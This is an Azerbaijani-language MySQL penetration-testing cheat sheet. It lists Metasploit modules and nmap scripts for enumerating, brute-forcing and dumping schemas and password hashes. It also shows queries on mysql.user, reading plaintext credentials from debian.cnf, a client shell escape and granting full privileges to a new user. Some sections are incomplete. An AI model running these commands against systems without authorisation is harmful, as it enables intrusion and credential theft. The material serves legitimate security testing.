3306-Pentesting MySQL

MySQL verilənlər bazasını idarə etmək üçün strukturlaşdırılmış sorğu dilindən (SQL) istifadə edən açıq mənbəli əlaqəli verilənlər bazası idarəetmə sistemidir (RDBMS).

MySQL Serverə qoşulmaq:

mysql -h <hostname> -u <username> -p

Əgər belə bir xəta verirsə:”ERROR 2026 (HY000): TLS/SSL error: wrong version number” “—skip-ssl” istifadə edə bilərsiniz.

metasploit modulundan istifadə edərək bütün verilənlər bazalarının sxemini serverdən çıxarılması:

msfconsole
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS <target-ip>
set USERNAME root
set PASSWORD ""
exploit

Msfconsole istifadə edərək Mysql versiya enumeration:

use auxiliary/scanner/mysql/mysql_version
set RHOSTS <target-ip>
run

Mysql login bruteforce:

Aşağıdakı msfconsole modulları istifadəçi və onun parolunu tapdıqdan sonra daha çox məlumat toplamaq üçün istifadə edilə bilər:

auxiliary/admin/mysql/mysql_enum
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_hashdump
auxiliary/scanner/mysql/mysql_schemadump
auxiliary/scanner/mysql/mysql_writable_dirs

Aşağıdakı nmap əmrindən istifadə edərək MySQL Serverdə anonim girişə icazə verilib-verilmədiyini yoxlaya bilərik:

nmap --script=mysql-empty-password -p 3306 <target-ip>

MySQL serverində “InteractiveClient” xüsusiyyətinin dəstəkləndiyini nmap ilə yoxlaya bilərik:

nmap --script=mysql-info -p 3306 <target-ip>

Bu nümunədə dəstəklənmir.

MySQL verilənlər bazası serverində mövcud olan istifadəçilərin sadalanması(enumeration):

nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306
<target-ip>

Nmap skriptindən istifadə edərək MySQL serverdə saxlanılan bütün verilənlər bazasının listələmək:

nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p 3306 <target-ip>

Mysql server haqqında daha çox məlumat əldə etmək üçün nmap skripti :

nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306
<target-ip>

MySQL əmrləri:

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
#mysql client user kimi shell əldə etmək
\\! Sh

Səlahiyyətlərin Yüksəldilməsi

Cari istifadəçi (bütün istifadəçilər) imtiyazları və hashləri əldə edən sorğu:

select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

İstifadəçilər, icazələr və credentiallar almaq üçün

SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

İstifadəçi yaratmaq və imtiyazlar vermək üçün

create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

Fayllardan MySQL etimadnamələrinin çıxarılması

/etc/mysql/debian.cnf daxilində siz debian-sys-maint istifadəçisinin plain mətn parolunu tapa bilərsiniz.

cat /etc/mysql/debian.cnf
nano /etc/mysql/mysql.conf.d/mysqld.cnf

Loglamanın aktivləşdirilməsi

Siz mysql sorğularının /etc/mysql/my.cnf daxilində aşağıdakı sətirləri şərh etməyi aktivləşdirə bilərsiniz:

Mysql-ə daxil olmadan SQL sorğularının icrası

Bu modul sadə SQL ifadələrinin müvafiq etimadnamələr əsasında MySQL nümunəsinə qarşı icrasına imkan verir. Bunun üçün yazın:

use auxiliary/admin/mysql/mysql_sql
set rhosts 192.162.1.108
set username root
set password 123
set sql show databases
exploit

Mysql-Schemadump məlumatını çıxarmaq üçün

Aşağıdakı moduldan istifadə edərək sxem məlumatlarını MySQL DB serverindən çıxarmaq mümkündür:

use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.1.108
set username root
set password 123
exploit
script mysql-brute
mysql-brute.timeout

MySQL-ə qoşulmaq üçün soket fasiləsi (standart 5s)

passdb, unpwdb.passlimit, unpwdb.timelimit, unpwdb.userlimit, userdb

unpwdb kitabxanası üçün sənədlər.

creds.[service], creds.global

Creds kitabxanası üçün sənədlər.

brute.credfile, brute.delay, brute.emptypass, brute.firstonly, brute.guesses, brute.mode, brute.passonly, brute.retries, brute.start, brute.threads, brute.unique, brute.useraspass

Brute kitabxanası üçün sənədlər.

Yuxarıdakı parametrlərdən istifadə edərək aşağıda qeyd edilən skripti təkmilləşdirə bilərsiniz.

nmap --script=mysql-brute <target>

Last updated

Was this helpful?